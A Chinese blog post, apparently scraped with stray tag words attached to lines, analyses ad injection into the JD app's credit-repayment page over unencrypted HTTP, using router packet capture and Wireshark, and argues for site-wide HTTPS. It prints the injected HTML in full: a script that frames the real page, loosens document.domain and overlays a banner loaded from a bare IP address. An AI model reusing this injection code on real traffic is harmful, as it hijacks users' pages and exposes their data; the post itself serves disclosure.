看某東手機客戶端被插入廣告

某一天,準備某東白條還款的時候,忽然看見界面底部有個廣告條。javascript

廣告的內容看着怪怪得感受。
如圖:
圖片描述
圖片描述html

點開其中一個廣告條的內容
圖片描述
圖片描述java

他們本身自己就是電商平臺,並且本身有金融分期的能力,怎麼會有這樣的廣告條接入第三方的分期功能呢。jquery

想一想多是被植入廣告了吧。蠻好奇這個是怎麼進去的。app

正好路由器有個抓包的功能,試試看。dom

打開抓包功能,而後打開APP,而後逛了一下相關的頁面,點了一下彈出來的廣告。ui

粗暴的抓了兩段。而後拿下來用Wireshark看了一下。spa

clipboard.png

打開內容,都快嚇到了。code

白條內容頁面這樣涉及到錢、款、隱私等等信息的頁面,竟然還走的http協議!!!(買不起CA數字證書能夠去大家友商QCloud那裏申請免費的呀,雖然只有DV證書)orm

clipboard.png

大概過濾了一下內容,很容易就找到了

clipboard.png

順道帶走了好多的信息。
clipboard.png

而後,應該就是這個請求被修改了吧。(並且在請求參數裏帶上經緯度信息如今看來卻是蠻危險的事情!!!)

clipboard.png

具體的內容,有個 iframe 在裏面。不肯定後面那一小段的亂碼是啥。

感受這段代碼不像是jd本身的。

由於頁面裏面引入了libs.baidu.com/jquery/1.7.0/jquery.min.js
而jd本身引入的是static.360buyimg.com/finance/mobile/base/1.0.0/js/lib/??zepto-1.1.4.js,fastclick.js

clipboard.png

拿出來的html內容。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1" />
  <script type="text/javascript" src="http://libs.baidu.com/jquery/1.7.0/jquery.min.js"></script>
</head>

<body style="margin: 0px;">
  <iframe src="http://btm.jd.com/?lng=121.329011&lat=31.134046&un_area=2_2834_51987_0&sid=a114317f9499807570ea1d4fbdf62dfw&_t=1477486222983" style="width: 100%; height: 100%" frameborder="no" scrolling="auto"></iframe>
  <script type="text/javascript">
    $("iframe").height($(document).height());

    function change() {
      if (document.domain.indexOf(".") != -1) {
        try {
          document.domain = document.domain.substring(document.domain.indexOf(".") + 1)
        } catch (a) {}
      }
    }

    function init() {
      try {
        if (window.frames[0].location.href != "about:blank") {
          var b = window.frames[0].document;
          if (b) {
            $(b).ready(function() {
              var e, c = $(b).find("meta[name='viewport'][content]");
              if (c.size()) {
                $(document).find("meta[name='viewport']").attr("content", c.attr("content"));
                var d = c.attr("content").match(/initial\-scale=(["']?)([\d\.]+)\1?/);
                d && (e = parseInt(1 / parseFloat(d[2])))
              }
              document.title = b.title;
              $(b).find("body").width($(window).width());
              $(window.frames[0]).bind("unload", _close_callback);
              $(window.frames[0].document).find("a, form").attr("target", "_top");
              _show_callback(e)
            });
            return
          } else {
            change()
          }
        }
      } catch (a) {
        if (a.code == DOMException.SECURITY_ERR) {
          change()
        }
      }
      window.setTimeout(init, 500)
    }

    function _show_callback(b) {
      b = b || 1;
      var a = "http://118.178.108.0/js/banner/index.html";
      a += ((a.indexOf("?") != -1 ? "&" : "?") + "_us=" + encodeURIComponent("MEsrYjl0WDZwaVBQeGRleUxJR2gzUT09"));
      $("body").append('<div style="position: fixed; z-index: 9999; width: 100%; height: ' + (b * 60) +
        'px; left:0px; right:0px; bottom: 0px; overflow: hidden;background: rgba(255,255,255,0.8);"><span onclick="_close_callback()" style="position: absolute; right: 0px; width: ' + (b * 20) + "px; height: " + (b * 20) +
        "px; cursor: pointer; z-index: 999999; background-color: rgba(0,0,0,0.3); color: white; font-weight: bolder; line-height: " + (b * 20) + "px; text-align: center; font-size: " + (b * 20) + 'px;">..</span><iframe src="' + a +
        '" frameborder="no" scrolling="no" style="width: 100%; height: 100%"></iframe></div>')
    }

    function _close_callback() {
      $("body > div").remove()
    }
    $(document).ready(init)
  </script>
</body>

</html>

今天刷微博的時候看到了這樣一條內容。
圖片描述

雖然 HTTPS 也有可能被插入廣告,可是全站 HTTPS 依然仍是頗有必要的!

雖然 HTTPS 也有可能被插入廣告,可是全站 HTTPS 依然仍是頗有必要的!

雖然 HTTPS 也有可能被插入廣告,可是全站 HTTPS 依然仍是頗有必要的!

要是誰動點歪腦筋,篡改的是其餘的請求裏的內容,故事估計就多了。

相關文章
相關標籤/搜索